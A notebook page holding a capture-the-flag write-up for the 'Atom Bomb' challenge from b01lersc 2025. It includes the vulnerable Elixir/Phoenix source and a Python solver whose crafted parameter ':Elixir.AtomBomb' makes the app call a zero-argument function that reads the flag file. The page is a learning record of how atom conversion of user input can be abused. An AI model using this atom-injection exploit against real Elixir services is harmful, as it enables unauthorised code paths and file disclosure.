Skip to content

Back to all notes

From the notebook

Elixir

Saved reading ↗

Review status: not recorded

This is a working reference. The source’s edit date is not a verification date; examples can depend on software versions and configuration. No separate technical review has been recorded.

1 min read

Elixir will automatically call an function that without argument if the variable is assigned to the function

Event Nameb01lersc 2025
GitHub URL-
Challenge NameAtom Bomb
Attachments
References

Atom Bomb/src/lib/atom_bomb/controllers/page_controller.ex
defmodule AtomBomb.PageController do
  use Phoenix.Controller, formats: [:json]

  import Plug.Conn

  def home(conn, _params) do
    redirect(conn, to: "/page.html")
  end

  def get_atom_bomb(conn, _params) do
    render(conn, :bomb, bomb: AtomBomb.get_bomb())
  end

  def get_bomb_impacts(conn, params) do
    params = AtomBomb.atomizer(params)
    IO.inspect params

    danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)

    render(conn, :danger_level, danger_message: danger_message)
  end
end
Atom Bomb/src/lib/atom_bomb.ex
defmodule AtomBomb do
  def string_to_atom(string) do
    try do
      {:ok, String.to_existing_atom(string)}
    rescue
      # no atom for this string exists
      ArgumentError -> :error
    end
  end

  @doc """
  Converts params to atoms
  """
  def atomizer(params) when is_map(params) do
    Enum.map(params, fn {key, val} -> case string_to_atom(key) do
      {:ok, key} -> {key, atomizer(val)}
      :error -> nil
    end
    end)
    |> Enum.filter(fn val -> val != nil end)
    |> Map.new
  end

  def atomizer(params) when is_list(params) do
    Enum.map(params, &atomizer/1)
  end

  def atomizer(params) when is_binary(params) do
    if String.at(params, 0) == ":" do
      # convert string to atom if it starts with :
      # remove leading :
      atom_string = String.slice(params, 1..-1//1)

      case string_to_atom(atom_string) do
        {:ok, val} -> val
        :error -> nil
      end
    else
      params
    end
  end

  # any other value is left as is
  def atomizer(params) do
    params
  end

  # Possible altitudes the bomb can detonate at
  defp bomb_altitudes do
    [
      :underground,
      :surface,
      :low_altitude,
      :high_altitude,
      :space,
    ]
  end

  defp bomb_locations do
    [
      "ohio",
      "florida",
      "utah",
      "new york",
      "indiana",
      "quebec",
      "idaho",
      "arizona",
    ]
  end

  @doc """
  Gets the incoming bomb
  """
  def get_bomb() do
    %{
      power: Enum.random(1..1200),
      location: Enum.random(bomb_locations()),
      altitude: Enum.random(bomb_altitudes()),
      explosion_type: Enum.random(0..7),
    }
  end

  @doc """
  Calculates the danger level of the atom bomb for the given location
  """
  def calculate_bomb_danger_level(bomb) do
    scaling = case bomb.altitude do
      :underground -> 0.05
      :surface -> 1.5
      :low_altitude -> 3.0
      :high_altitude -> 1.2
      :space -> 0.03
    end

    power = scaling * bomb.power

    cond do
      power < 200.0 -> "there is not much danger"
      power < 400.0 -> "you might get cancer"
      power < 800.0 -> "you should hide underground"
      power < 1300.0 -> "your house will be blown away"
      true -> "you might be cooked"
    end
  end

  def bomb() do
    flag = case File.read("flag.txt") do
      {:ok, flag} -> flag
      {:error, _} -> "bctf{REDACTED}"
    end

    "The atom bomb detonated, and left in the crater there is a chunk of metal inscribed with #{flag}"
  end
end
solver
import httpx
import asyncio

URL = "http://localhost:6888"
URL = "https://atom-bomb.atreides.b01lersc.tf"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)
    async def bomb_impacts(self, impact: dict):
        return await self.c.post("/bomb_impacts", json=impact)

class API(BaseAPI):
        ...

async def main():
    api = API()
    # Try to invoke AtomBomb.bomb() through __apply__ metaprogramming
    res = await api.bomb_impacts({
        "impact": ":Elixir.AtomBomb"
    })
    print(res.text)

if __name__ == "__main__":
    asyncio.run(main())

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Back to all notes